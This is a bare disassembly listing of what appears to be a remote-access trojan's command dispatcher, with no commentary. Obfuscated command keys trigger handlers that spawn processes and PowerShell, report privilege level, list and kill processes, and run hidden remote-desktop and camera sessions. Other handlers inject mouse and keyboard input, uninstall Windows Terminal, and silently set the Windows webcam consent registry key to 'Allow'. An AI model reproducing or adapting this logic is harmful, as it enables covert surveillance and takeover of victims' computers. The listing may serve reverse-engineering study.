mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101a6328], eax
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.aHTA655466
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049447
mov eax, dword [ebp - 0x21a0]
add eax, 0x18
push eax
lea ecx, [ebp - 0x1574]
call fcn.10052530
push 0x1018fb7c
lea eax, [ebp - 0x1574]
push eax
mov edx, 0x1018fb80
lea ecx, [ebp - 0x1d34]
call fcn.10059c20
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1d1c]
call fcn.10058e00
add esp, 4
push eax
lea ecx, [ebp - 0x1574]
call fcn.100522e0
lea ecx, [ebp - 0x1d1c]
call fcn.10024ce0
lea ecx, [ebp - 0x1d34]
call fcn.10024ce0
lea esi, [ebp - 0x1574]
cmp dword [ebp - 0x1560], 8
cmovae esi, dword [ebp - 0x1574]
mov dword [ebp - 0x2560], 0x44
push 0x40
push 0
lea eax, [ebp - 0x255c]
push eax
call fcn.1011ce00
add esp, 0xc
lea eax, [ebp - 0x2364]
push eax
lea eax, [ebp - 0x2560]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ecx, [ebp - 0x1574]
jmp 0x1004c169
push ecx
push str.456645856486546458645865486458powershell
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049530
lea eax, [ebp - 0x1454]
push eax
lea ecx, [ebp - 0x16bc]
call fcn.10052530
push 0x1018ed8c
lea ecx, [ebp - 0x1974]
call fcn.100524b0
push str.456645856486546458645865486458powershell
lea ecx, [ebp - 0x195c]
call fcn.100524b0
lea eax, [ebp - 0x1974]
push eax
lea edx, [ebp - 0x195c]
lea ecx, [ebp - 0x16bc]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x195c]
call fcn.10024ce0
lea ecx, [ebp - 0x1974]
call fcn.10024ce0
push 1
lea edx, [ebp - 0x16bc]
lea ecx, [ebp - 0x19a4]
call fcn.1002f7f0
lea eax, [ebp - 0x19a4]
push eax
mov edx, str.r4h58er4h54re54hr45h
lea ecx, [ebp - 0x198c]
call fcn.10059c20
mov esi, dword [0x101aba00]
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x198c]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x198c]
call fcn.10024ce0
lea ecx, [ebp - 0x19a4]
call fcn.10024ce0
lea ecx, [ebp - 0x16bc]
jmp 0x1004c169
push ecx
push str.455454457457hwrsqlt
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049576
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101a633c], eax
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.48568464654chatc
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x100495c4
cmp dword [0x101abc80], 0
je 0x1004c16e
push 0
push 0
push 0x10
push dword [0x101abc14]
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [0x101ab9fc], 1
mov dword [0x101abc80], 0
jmp 0x1004c16e
push ecx
push str.4856846548465854654filemanager
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049600
mov esi, dword [ebp - 0x21a4]
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x21a0]
push eax
call fcn.10051830
mov ecx, esi
call fcn.100370c0
add esp, 0xc
jmp 0x1004c16e
push ecx
push str.4565445543451uc
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x100496ef
mov esi, dword [ebp - 0x21a0]
mov edx, str.show
lea ecx, [esi + 0x18]
call fcn.10059db0
test al, al
je 0x100496cf
call fcn.10023d20
mov esi, eax
push 0x1018ed8c
lea ecx, [ebp - 0x14fc]
call fcn.100524b0
test esi, esi
jne 0x10049657
push str.user
jmp 0x1004966d
cmp esi, 1
jne 0x10049663
push str.admin
jmp 0x1004966d
cmp esi, 2
jne 0x10049678
push str.system
lea ecx, [ebp - 0x14fc]
call fcn.100522b0
lea eax, [ebp - 0x14fc]
push eax
mov edx, str.5998uac
lea ecx, [ebp - 0x19bc]
call fcn.10059c20
mov esi, dword [0x101aba00]
sub esp, 0x14
mov ecx, esp
lea eax, [ebp - 0x19bc]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
cmp eax, 1
je 0x1004c2ff
lea ecx, [ebp - 0x19bc]
call fcn.10024ce0
lea ecx, [ebp - 0x14fc]
jmp 0x1004c169
mov edx, str.system
lea ecx, [esi + 0x18]
call fcn.10059db0
test al, al
jne 0x1004c339
jmp 0x1004c16e
push ecx
push str.456465654process
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004978e
lea ecx, [ebp - 0x1d4c]
call fcn.10045ca0
lea ecx, [ebp - 0x1d4c]
call fcn.10024ce0
lea ecx, [ebp - 0x1d64]
call fcn.10045ca0
push eax
mov edx, str.processlist
lea ecx, [ebp - 0x19d4]
call fcn.10059bb0
add esp, 4
lea ecx, [ebp - 0x1d64]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x19d4]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
cmp eax, 1
jne 0x10049783
mov edx, str.Error_sending_data_to_server___processl_
mov ecx, 0x101aa2a8
call fcn.10058e70
jmp 0x1004c30e
lea ecx, [ebp - 0x19d4]
jmp 0x1004c169
push ecx
push str.54546544545acr
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049859
cmp dword [0x101abc1c], 0
jne 0x1004c16e
mov dword [0x101ab1c8], 0
mov dword [0x101abc1c], 1
lea ecx, [ebp - 0x2398]
call fcn.100244e0
lea eax, [ebp - 0x24b4]
push eax
lea ecx, [ebp - 0x2398]
call fcn.100246b0
mov dword [ebp - 0x22d8], 0x101ab9f4
mov dword [ebp - 0x22dc], 0x101ab1c8
lea eax, [ebp - 0x22d8]
push eax
lea eax, [ebp - 0x22dc]
push eax
lea eax, [ebp - 0x21a4]
push eax
lea eax, [ebp - 0x2398]
push eax
push 0x10045dc0
lea ecx, [ebp - 0x2324]
call fcn.1005a230
lea ecx, [ebp - 0x2324]
call fcn.10024300
cmp dword [ebp - 0x2320], 0
jne 0x1004c358
lea ecx, [ebp - 0x24b4]
call fcn.100244b0
lea ecx, [ebp - 0x2398]
call fcn.10024550
jmp 0x1004c16e
push ecx
push str.54546544545rct
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049924
cmp dword [0x101abc48], 0
jne 0x1004c16e
mov dword [0x101abc10], 0
mov dword [0x101abc48], 1
lea ecx, [ebp - 0x23a4]
call fcn.100244e0
lea eax, [ebp - 0x24ac]
push eax
lea ecx, [ebp - 0x23a4]
call fcn.100246b0
mov dword [ebp - 0x22e0], 0x101abc70
mov dword [ebp - 0x22e4], 0x101abc10
lea eax, [ebp - 0x22e0]
push eax
lea eax, [ebp - 0x22e4]
push eax
lea eax, [ebp - 0x21a4]
push eax
lea eax, [ebp - 0x23a4]
push eax
push 0x10045e70
lea ecx, [ebp - 0x231c]
call fcn.1005a230
lea ecx, [ebp - 0x231c]
call fcn.10024300
cmp dword [ebp - 0x2318], 0
jne 0x1004c35d
lea ecx, [ebp - 0x24ac]
call fcn.100244b0
lea ecx, [ebp - 0x23a4]
call fcn.10024550
jmp 0x1004c16e
push ecx
push str.54546544545hwr
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049a0d
cmp dword [0x101abc68], 0
jne 0x1004c16e
mov dword [0x101ab9dc], 0
mov dword [0x101abc68], 1
lea ecx, [ebp - 0x23b0]
call fcn.100244e0
lea eax, [ebp - 0x24a4]
push eax
lea ecx, [ebp - 0x23b0]
call fcn.100246b0
mov dword [ebp - 0x22a8], 0x101ab9e4
mov dword [ebp - 0x22e8], 0x101abc3c
mov dword [ebp - 0x22ec], 0x101abc44
mov dword [ebp - 0x22f0], 0x101ab9dc
lea eax, [ebp - 0x22a8]
push eax
lea eax, [ebp - 0x22e8]
push eax
lea eax, [ebp - 0x22ec]
push eax
lea eax, [ebp - 0x22f0]
push eax
lea eax, [ebp - 0x21a4]
push eax
lea eax, [ebp - 0x23b0]
push eax
push ecx
lea ecx, [ebp - 0x2314]
call fcn.1005a2c0
lea ecx, [ebp - 0x2314]
call fcn.10024300
cmp dword [ebp - 0x2310], 0
jne 0x1004c362
lea ecx, [ebp - 0x24a4]
call fcn.100244b0
lea ecx, [ebp - 0x23b0]
call fcn.10024550
jmp 0x1004c16e
push ecx
push str.54546544545acsa
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049a3c
mov dword [0x101ab1c8], 1
mov dword [0x101abc1c], 0
jmp 0x1004c16e
push ecx
push str.54546544545rcsr
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049a6b
mov dword [0x101abc10], 1
mov dword [0x101abc48], 0
jmp 0x1004c16e
push ecx
push str.54546544545hcsr
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049a9a
mov dword [0x101ab9dc], 1
mov dword [0x101abc68], 0
jmp 0x1004c16e
push ecx
push str.54546544545stopwind
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049ac9
mov dword [0x101abc58], 1
mov dword [0x101abc84], 0
jmp 0x1004c16e
push ecx
push str.545454546removeterminal
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049b1b
push str.Get_AppxPackage__Name_Microsoft.WindowsTerminal__Remove_AppxPackage
lea ecx, [ebp - 0x19ec]
call fcn.100524b0
push 1
lea edx, [ebp - 0x19ec]
lea ecx, [ebp - 0x1d7c]
call fcn.1002f7f0
add esp, 4
lea ecx, [ebp - 0x1d7c]
call fcn.10024ce0
lea ecx, [ebp - 0x19ec]
jmp 0x1004c169
push ecx
push str.74896845654hupdate
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
jne 0x1004c16e
push ecx
push str.45646killprocess
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049b60
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
mov dl, 1
call fcn.10023260
jmp 0x1004c16e
push ecx
push str.544545killpname
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049b8b
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
xor dl, dl
call fcn.10023260
jmp 0x1004c16e
push ecx
push str.54546544545acsdd
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049bd1
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101ab9f4], eax
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.54546544545rcsdd
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049c17
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101abc70], eax
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.54546544545hcsdd
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049c5d
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [0x101abc44], eax
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.546564restartprocess
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049cb6
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
xor dl, dl
call fcn.10023260
push 0x1018ed8c
lea ecx, [ebp - 0x1a04]
call fcn.100524b0
lea eax, [ebp - 0x1a04]
push eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x30]
call fcn.10046180
add esp, 4
lea ecx, [ebp - 0x1a04]
jmp 0x1004c169
push ecx
push str.654546764857mov
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049d16
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
push eax
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.654546764857hrmov
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
jne 0x1004c16e
push ecx
push str.58668686886888move
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049df2
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x30]
push 0xa
xor edx, edx
call fcn.10022b30
mov dword [ebp - 0x2228], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
mov dword [ebp - 0x222c], eax
push 0xc
call fcn.1011a4d9
add esp, 0xc
mov ecx, dword [ebp - 0x2228]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x222c]
mov dword [eax + 4], ecx
mov dword [eax + 8], fcn.10046900
mov dword [ebp - 0x2230], eax
lea ecx, [ebp - 0x2218]
push ecx
push 0
push eax
push 0x10061600
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [ebp - 0x221c], eax
test eax, eax
je 0x1004c36c
mov dword [ebp - 0x2230], 0
lea ecx, [ebp - 0x221c]
call fcn.10024300
cmp dword [ebp - 0x2218], 0
jne 0x1004c367
jmp 0x1004c16e
push ecx
push str.654546764857getcolr
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049ee5
push 0
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call esi
mov edi, eax
push 1
call esi
mov edx, eax
lea ecx, [ebp - 0x1e3c]
call fcn.10022ba0
mov esi, eax
push 0x1018f8a8
mov edx, edi
lea ecx, [ebp - 0x1ddc]
call fcn.10022ba0
push eax
mov edx, str.8454584cor
lea ecx, [ebp - 0x1dc4]
call fcn.10059bb0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1bfc]
call fcn.10058e00
add esp, 4
push esi
push eax
push dword [ebp - 0x21e0]
lea ecx, [ebp - 0x1a1c]
call fcn.1005d9f0
lea ecx, [ebp - 0x1bfc]
call fcn.10024ce0
lea ecx, [ebp - 0x1dc4]
call fcn.10024ce0
lea ecx, [ebp - 0x1ddc]
call fcn.10024ce0
lea ecx, [ebp - 0x1e3c]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1a1c]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
cmp eax, 1
jne 0x10049eda
mov edx, str.Error_sending_data_to_server___cords_
mov ecx, 0x101aa2a8
call fcn.10058e70
jmp 0x1004c30e
lea ecx, [ebp - 0x1a1c]
jmp 0x1004c169
push ecx
push str.54656454885hclick
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x10049ffe
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x60]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x2234], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x48]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x2238], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x30]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x223c], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
mov dword [ebp - 0x2240], eax
push 0x14
call fcn.1011a4d9
add esp, 8
mov edx, eax
mov ecx, dword [ebp - 0x2234]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x2238]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x223c]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x2240]
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], 0x10046630
mov dword [ebp - 0x2244], edx
lea eax, [ebp - 0x2210]
push eax
push 0
push edx
push 0x10061630
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [ebp - 0x2214], eax
test eax, eax
je 0x1004c382
mov dword [ebp - 0x2244], 0
lea ecx, [ebp - 0x2214]
call fcn.10024300
cmp dword [ebp - 0x2210], 0
jne 0x1004c37d
jmp 0x10048de9
push ecx
push str.654546764857gethwrs
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a0f9
mov eax, dword [0x101abc64]
test eax, eax
je 0x1004c16e
lea ecx, [ebp - 0x15fc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov esi, dword [ebp - 0x15f4]
sub esi, dword [ebp - 0x15fc]
mov edx, dword [ebp - 0x15f0]
sub edx, dword [ebp - 0x15f8]
lea ecx, [ebp - 0x1eb4]
call fcn.10022ba0
mov edi, eax
push 0x1018f8a8
mov edx, esi
lea ecx, [ebp - 0x1ecc]
call fcn.10022ba0
push eax
mov edx, str.8454584hrcor
lea ecx, [ebp - 0x1ca4]
call fcn.10059bb0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1e24]
call fcn.10058e00
add esp, 4
push edi
push eax
push dword [ebp - 0x21e0]
lea ecx, [ebp - 0x1a34]
call fcn.1005d9f0
lea ecx, [ebp - 0x1e24]
call fcn.10024ce0
lea ecx, [ebp - 0x1ca4]
call fcn.10024ce0
lea ecx, [ebp - 0x1ecc]
call fcn.10024ce0
lea ecx, [ebp - 0x1eb4]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1a34]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1a34]
jmp 0x1004c169
push ecx
push str.654546764857getac
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a1ed
lea eax, [ebp - 0x160c]
push eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov esi, dword [ebp - 0x1604]
sub esi, dword [ebp - 0x160c]
mov edx, dword [ebp - 0x1600]
sub edx, dword [ebp - 0x1608]
lea ecx, [ebp - 0x1c14]
call fcn.10022ba0
mov edi, eax
push 0x1018f8a8
mov edx, esi
lea ecx, [ebp - 0x1e6c]
call fcn.10022ba0
push eax
mov edx, str.8454584accer
lea ecx, [ebp - 0x1e84]
call fcn.10059bb0
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x1e9c]
call fcn.10058e00
add esp, 4
push edi
push eax
push dword [ebp - 0x21e0]
lea ecx, [ebp - 0x1a4c]
call fcn.1005d9f0
lea ecx, [ebp - 0x1e9c]
call fcn.10024ce0
lea ecx, [ebp - 0x1e84]
call fcn.10024ce0
lea ecx, [ebp - 0x1e6c]
call fcn.10024ce0
lea ecx, [ebp - 0x1c14]
call fcn.10024ce0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x1a4c]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
lea ecx, [ebp - 0x1a4c]
jmp 0x1004c169
push ecx
push str.5463798ke
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a289
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
mov dword [ebp - 0x21dc], esi
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x2510], 1
mov word [ebp - 0x250c], si
test eax, eax
mov dword [ebp - 0x2508], 0
je 0x1004a266
mov dword [ebp - 0x2508], 2
push 0x1c
lea eax, [ebp - 0x2510]
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.5463798hcat
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a38e
mov byte [ebp - 4], 0x17
push 0x100
lea eax, [ebp - 0x224]
push eax
push dword [0x101ab9f8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x2250], eax
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x30]
push 0xa
xor edx, edx
call fcn.10022b30
mov dword [ebp - 0x224c], eax
mov dword [ebp - 0x2248], 1
push 0x14
call fcn.1011a4d9
add esp, 8
mov edx, eax
mov ecx, dword [ebp - 0x2248]
mov dword [edx], ecx
mov ecx, dword [0x101ab9f8]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x224c]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x2250]
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], fcn.10046470
mov dword [ebp - 0x2254], edx
lea eax, [ebp - 0x2208]
push eax
push 0
push edx
push 0x10061630
push 0
push 0
call fcn.10123c98
add esp, 0x18
mov dword [ebp - 0x220c], eax
test eax, eax
je 0x1004c398
mov dword [ebp - 0x2254], 0
lea ecx, [ebp - 0x220c]
call fcn.10024300
cmp dword [ebp - 0x2208], 0
jne 0x1004c393
jmp 0x10048de9
push ecx
push str.5463798aker
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a3fb
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov edi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
push 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
push esi
push edi
call fcn.10046470
add esp, 0x10
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.6846584clic
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a45c
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.10046340
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.45654scroll
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a499
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x18
push ecx
push 0x1018fd64
call fcn.10051b80
xor edx, edx
cmp eax, 0xffffffff
je 0x1004a4e4
xor ecx, ecx
call fcn.10046590
jmp 0x1004c16e
push ecx
push str.45654acroll
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a4f3
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x18
push ecx
push 0x1018fd64
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a4dc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
xor ecx, ecx
call fcn.10046590
jmp 0x1004c16e
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
mov ecx, 1
call fcn.10046590
jmp 0x1004c16e
push ecx
push str.6846584rohlic
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a586
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov ebx, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov edi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x48
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x60
push 0xa
xor edx, edx
call fcn.10022b30
push 0
push eax
push esi
mov edx, edi
mov ecx, ebx
call fcn.100463c0
add esp, 0x10
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.6846584ahlic
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a62f
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x21a0]
lea ecx, [ecx + 0x18]
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov dword [ebp - 0x21b0], eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x30
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov ebx, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x48
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov edi, eax
mov ecx, dword [ebp - 0x21a0]
add ecx, 0x60
push 0xa
xor edx, edx
call fcn.10022b30
add esp, 4
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
push esi
push edi
mov edx, ebx
mov ecx, dword [ebp - 0x21b0]
call fcn.100463c0
add esp, 0xc
mov dword [ebp - 4], 0
jmp 0x1004c16e
push ecx
push str.546564654cam
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a70e
cmp byte [0x101ab1d5], 0
jne 0x1004c16e
mov dword [0x101abc28], 0
mov dword [0x101abc4c], 0
lea ecx, [ebp - 0x23bc]
call fcn.100244e0
lea eax, [ebp - 0x249c]
push eax
lea ecx, [ebp - 0x23bc]
call fcn.100246b0
mov dword [ebp - 0x2258], 0x101abc4c
mov dword [ebp - 0x225c], 0x101ab9e8
mov dword [ebp - 0x2260], 0x101abc28
lea eax, [ebp - 0x2258]
push eax
lea eax, [ebp - 0x225c]
push eax
lea eax, [ebp - 0x2260]
push eax
lea eax, [ebp - 0x21a4]
push eax
lea eax, [ebp - 0x23bc]
push eax
push ecx
lea ecx, [ebp - 0x230c]
call fcn.1005a360
lea ecx, [ebp - 0x230c]
call fcn.10024300
mov byte [0x101ab1d5], 1
cmp dword [ebp - 0x2308], 0
jne 0x1004c3a9
lea ecx, [ebp - 0x249c]
call fcn.100244b0
lea ecx, [ebp - 0x23bc]
call fcn.10024550
jmp 0x1004c16e
push ecx
push 0x10193c34
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a79e
cmp byte [0x101ab1d5], 0
je 0x1004c16e
push 0x1018ed8c
lea ecx, [ebp - 0x1a7c]
call fcn.100524b0
push str.846845484camselcha
lea ecx, [ebp - 0x1a64]
call fcn.100524b0
lea eax, [ebp - 0x1a7c]
push eax
lea edx, [ebp - 0x1a64]
lea ecx, [ebp - 0x1454]
call fcn.10023600
add esp, 4
lea ecx, [ebp - 0x1a64]
call fcn.10024ce0
lea ecx, [ebp - 0x1a7c]
call fcn.10024ce0
push 0xa
xor edx, edx
lea ecx, [ebp - 0x1454]
call fcn.10022b30
add esp, 4
mov dword [0x101abc4c], eax
jmp 0x1004c16e
push ecx
push str.846845484camstop
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a7d7
cmp byte [0x101ab1d5], 0
je 0x1004c16e
mov dword [0x101abc28], 1
mov byte [0x101ab1d5], 0
jmp 0x1004c16e
push ecx
push str.846845484camenable
lea ecx, [ebp - 0x1454]
call fcn.10051b80
cmp eax, 0xffffffff
je 0x1004a854
mov dword [ebp - 0x21d8], str.Allow
lea eax, [ebp - 0x21d4]
push eax
push 0x102
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionCapabilityAccessManagerConsentStorewebcam
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1004c16e
push 4
lea eax, [ebp - 0x21d8]
push eax
push 1
push 0
push str.Value
push dword [ebp - 0x21d4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1004c16e
push dword [ebp - 0x21d4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1004c16e
push ecx
push 0x10193d94
lea ecx, [ebp - 0x1454]
